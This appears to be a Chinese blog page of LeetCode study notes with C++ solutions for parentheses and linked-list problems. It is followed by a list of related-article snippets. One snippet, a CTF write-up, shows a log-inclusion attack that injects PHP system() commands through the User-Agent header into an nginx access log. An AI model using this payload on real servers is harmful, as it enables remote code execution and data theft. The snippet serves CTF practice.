Leetcode刷题笔记--Hot11-20

news2024/11/23 16:57:25

1--有效的括号(20)

主要思路:

        利用栈,遍历字符串,遇到左括号则入栈,遇到右括号则出栈,并判断出栈元素是否与右括号匹配;

        当字符串有效时,栈为空(所有左括号都匹配出栈);当字符串无效时,则栈不为空(仍有未匹配的左括号);

#include <iostream>
#include <string>
#include <stack>

class Solution {
public:
    bool isValid(std::string s) {
        int len = s.length();
        if (len == 0) return true;
        for(int i = 0; i < len; i++){
            if (s[i] == '(' || s[i] == '{' || s[i] == '['){
                st.push(s[i]);
            } 
            else if(s[i] == ')' && !st.empty()){
                char c = st.top();
                st.pop();
                if (c != '(') return false;
            }
            else if(s[i] == '}' && !st.empty()){
                char c = st.top();
                st.pop();
                if (c != '{') return false;
            }
            else if(s[i] == ']' && !st.empty()){
                char c = st.top();
                st.pop();
                if (c != '[') return false;
            }
            else
                return false;
        }
        return st.empty();
    }
private:
    std::stack<char> st;
};

int main(int argc, char *argv[]){

    std::string test = "()[]{}";
    Solution S1;
    bool res = S1.isValid(test);
    if(res) std::cout << "true" << std::endl;
    else std::cout << "false" << std::endl;
    return 0;
}

2--合并两个有序链表(21)

主要思路:

        归并排序,分别遍历比较两个链表的结点,数值小的结点归并到新链表中;

#include <iostream>
#include <string>
#include <stack>

struct ListNode {
     int val;
     ListNode *next;
     ListNode() : val(0), next(nullptr) {}
     ListNode(int x) : val(x), next(nullptr) {}
     ListNode(int x, ListNode *next) : val(x), next(next) {}
};

class Solution {
public:
    ListNode* mergeTwoLists(ListNode* list1, ListNode* list2) {
        if(list1 == NULL && list2 == NULL) return NULL;
        ListNode* head = new ListNode();
        ListNode* l_back = head; // 指向新链表最后一个结点
        ListNode* l1 = list1;
        ListNode* l2 = list2;
        while(l1 != NULL && l2 != NULL){
            if(l1->val < l2->val){
                l_back->next = l1;
                l1 = l1->next;
                l_back = l_back->next;
            }
            else{
                l_back->next = l2;
                l2 = l2->next;
                l_back = l_back->next;
            }
        }
        if(l1 == NULL) l_back->next = l2;
        if(l2 == NULL) l_back->next = l1;
        return head->next;
    }
};

int main(int argc, char *argv[]){
    ListNode* Node1 = new ListNode(1);
    ListNode* Node2 = new ListNode(2);
    ListNode* Node3 = new ListNode(4);

    Node1->next = Node2;
    Node2->next = Node3;

    ListNode* Node4 = new ListNode(1);
    ListNode* Node5 = new ListNode(3);
    ListNode* Node6 = new ListNode(4);
    Node4->next = Node5;
    Node5->next = Node6;

    Solution S1;
    ListNode* l = S1.mergeTwoLists(Node1, Node4);
    while(l != NULL){
        std::cout << l->val << " ";
        l = l->next;
    } 
    return 0;
}

3--括号生成(22)

主要思路:视频讲解

        递归遍历第 num 个字符是属于左括号还是右括号,递归终止条件是剩下的左括号和右括号数为 0;

        有效的括号组合必须是当前剩下的右括号数必须大于剩下的左括号数;

#include <iostream>
#include <string>
#include <vector>

class Solution {
public:
    std::vector<std::string> generateParenthesis(int n) {
        recur(n, n, 0);
        return Res;
    }

    // 还剩下 left 个和 right 个左括号和右括号,当前要填第 num 个字符
    void recur(int left, int right, int num){
        if(left == 0 && right == 0){
            c[num] = 0;
            Res.push_back(c);
            return;
        }
        
        if(left){ // 剩下的左括号不为 0
            c[num] = '(';
            recur(left - 1, right, num + 1);
        }
        if(left < right){ // 剩下的右括号必须大于剩下的左括号
            c[num] = ')';
            recur(left, right - 1, num + 1);
        }
    }
private:
    std::vector<std::string> Res;
    char c[20];
};

int main(int argc, char *argv[]){
    int n = 3;
    Solution S1;
    std::vector<std::string> Res = S1.generateParenthesis(n);
    for(std::string value : Res){
        std::cout << value << std::endl;
    }
    return 0;
}

4--合并K个升序链表(23)

主要思路:

        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/723567.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python语法 数据结构-字典和集合

文章目录 1. 字典1. 1. 字典特征1. 2. 创建字典1. 3.字典常用方法1.3.1 get()1.3.2 clear()1.3.3 copy()1.3.4 copy()1.3.4 update(key value)1.3.5 keys()、 values()和items() 1. 4. 获取字典值1. 4.1 通过 Key1. 4.2 通过迭代 1. 5. 列表与运算符 2. 集合2. 1. 元组特征2. …

NSS [HNCTF 2022 WEEK2]easy_include

NSS [HNCTF 2022 WEEK2]easy_include 过滤好多&#xff0c;试试日志包含。 服务器是nginx ?file/var/log/nginx/access.log 修改UA头为<?php system(‘ls’); ?> 修改UA头为<?php system(‘ls /’); ?> 修改UA头为<?php system(tac /ffflllaaaggg); ?&g

word2vec工具实战(使用gensim)

最开始需要新建一个conda环境 conda create -n word2vec python3.8 conda activate word2vec然后安装一下所需要的库 pip install numpy pip install scipy pip install gensim pip install jieba首先下载一下数据集zhwiki-20230701-pages-articles.xml.bz2&#xff0c;为了方…

数据库如何建表

MySQL数据库建表过程 目录 创建并使用数据库 第一步&#xff1a;打开命令行 第二步&#xff1a;运行MySQL 第三步&#xff1a;建立数据库以及表数据 创建表时约束条件 约束类型 其他SQL语句 MySQL命令行导入导出数据库 创建并使用数据库 第一步&#xff1a;打开命令…

帧内帧间预测实验

帧内帧间预测实验 文章目录 帧内帧间预测实验帧间预测配置opencv 帧内预测解决jupyter notebook无法找到虚拟环境的问题 帧间预测 配置opencv .h文件是头文件&#xff0c;包含了类、函数、变量的声明&#xff0c;用于在源代码文件中引用和访问这些声明。头文件通常包含函数和…

【OpenCV • c++】图像几何变换 | 图像坐标映射

&#x1f680; 个人简介&#xff1a;CSDN「博客新星」TOP 10 &#xff0c; C/C 领域新星创作者&#x1f49f; 作 者&#xff1a;锡兰_CC ❣️&#x1f4dd; 专 栏&#xff1a;【OpenCV • c】计算机视觉&#x1f308; 若有帮助&#xff0c;还请关注➕点赞➕收藏&#xff…

基于PyQt5的桌面图像调试仿真平台开发(12)图像灰度显示

系列文章目录 基于PyQt5的桌面图像调试仿真平台开发(1)环境搭建 基于PyQt5的桌面图像调试仿真平台开发(2)UI设计和控件绑定 基于PyQt5的桌面图像调试仿真平台开发(3)黑电平处理 基于PyQt5的桌面图像调试仿真平台开发(4)白平衡处理 基于PyQt5的桌面图像调试仿真平台开发(5)…

BUU [网鼎杯 2020 青龙组]AreUSerialz

BUU [网鼎杯 2020 青龙组]AreUSerialz 先看题目&#xff0c;是个php反序列化。源码如下。 <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename; protected $content;function __construct(…

Ceph:关于 Ceph 中 BlueStore 架构以及 OSD 创建的一些笔记

写在前面 准备考试&#xff0c;整理ceph 相关笔记内容涉及&#xff1a;Blue Store OSD 存储引擎介绍&#xff0c;对应 OSD 的不同创建方式理解不足小伙伴帮忙指正 对每个人而言&#xff0c;真正的职责只有一个&#xff1a;找到自我。然后在心中坚守其一生&#xff0c;全心全意&…

FreeCAD 3D绘图教程

推荐&#xff1a;将 NSDT场景编辑器 加入你的3D开发工具链 构建现实世界 FreeCAD主要用于为现实世界设计对象。您在FreeCAD中所做的一切都使用现实世界的单位&#xff0c;无论是微米&#xff0c;公里&#xff0c;英寸还是英尺&#xff0c;甚至是单位的任意组合。FreeCAD提供了…

FreeRTOS实时操作系统(十)信号量

系列文章目录 文章目录 系列文章目录信号量二值信号量二值信号量API函数创建二值信号量函数释放二值信号量函数获取二值信号量函数 实验测试 计数型信号量计数型信号量API函数动态创建函数信号量计数值获取函数 实验测试 优先级反翻转实验测试 互斥信号量API函数实验测试 信号量…

深兰科技与韩国EVERYBOT集团签署服务机器人出口订单

7月4日&#xff0c;在深兰科技集团上海总部&#xff0c;韩国EVERYBOT Inc.集团与深兰科技智胜(上海)科技有限公司签署了服务机器人出口订单及韩国市场战略合作协议。根据协议&#xff0c;EVERYBOT将从深兰科技订购首批服务机器人&#xff0c;同时成为深兰科技各类服务机器人产品…

Layui如何给lay-data插入按钮呢?如何通过按钮获取Id值呢?

&#x1f607;作者介绍&#xff1a;一个有梦想、有理想、有目标的&#xff0c;且渴望能够学有所成的追梦人。 &#x1f386;学习格言&#xff1a;不读书的人,思想就会停止。——狄德罗 ⛪️个人主页&#xff1a;进入博主主页 &#x1f5fc;推荐系列&#xff1a;点击进入 &#…

机器学习实战:Python基于NN神经网络进行分类(十一)

文章目录 1 前言1.1 神经网络的介绍1.2 神经网络的应用 2. Tensorflow实战演示2.1 导入函数2.2 导入数据2.3 数据预处理2.4 建立神经网络2.5 训练模型2.6 评估模型2.7 预测 3. 讨论 1 前言 神经网络&#xff08;Neural network&#xff0c;NN&#xff09;机器学习是一种基于人…

【动态规划算法】第五题:62.不同路径

&#x1f496;作者&#xff1a;小树苗渴望变成参天大树 &#x1f389;作者宣言&#xff1a;认真写好每一篇博客 &#x1f38a;作者gitee:gitee &#x1f49e;作者专栏&#xff1a;C语言,数据结构初阶,Linux,C 动态规划算法 如 果 你 喜 欢 作 者 的 文 章 &#xff0c;就 给 作…

查看虚拟机主机IP

虚拟机主机ip 文章目录 ifconfigip addr图形化界面 ifconfig 失败了 ip addr 图形化界面

动手学DL——环境部署随笔【深度学习】【Anaconda】【CUDA】【PyTorch】【jupyter】

文章目录 1、环境部署1.1、安装 Anaconda1.2、安装 GPU版 PyTorch1.3、安装结束1.4、 jupyter 连接虚拟环境 1、环境部署 记录虚拟环境安装部署细节&#xff0c;以备重装。 1.1、安装 Anaconda anaconda 2022.10 windows 版本,https://repo.anaconda.com/archive/ 加入环境变量…

如何在 Django框架下完成 websocket 连接 在 Heroku 上部署 websocket 应用

文章目录 websocket 和 socket 连接的区别与 Django 建立 websocket 连接ASGI v.s. WSGIDjango > 3.0ChannelsDaphnesettings.pyconsumers.py & routing.py 测试 websocket 连接postman Heroku 部署 websocket 应用asgi.pyProcfile websocket 和 socket 连接的区别 Webs…

TLS、SSL、CA 证书、公钥、私钥

1. HTTP 的问题 HTTP 协议是超文本传输协议&#xff08;Hyper Text Transfer Protocol&#xff09;的缩写&#xff0c;它是从 WEB 服务器传输超文本标记语言 HTML 到本地浏览器的传送协议。HTTP 设计之初是为了提供一种发布和接收 HTML 页面的方法&#xff0c;时至今日&#x…

计算机组成原理(期末或考研备考)- 主存储器,DRAM,SRAM,ROM

讲解视频 SRAM VS DRAM DRAM工作原理 DRAM采用栅极电容上的电荷存储信息&#xff0c;由于DRAM上的电容电荷一般只能维持1-2ms&#xff0c;即使电源不断电&#xff0c;信息也会自动消失。因此每隔一定时间必须刷新。 集中刷新&#xff0c;利用固定的时间对所有的行进行刷新&am…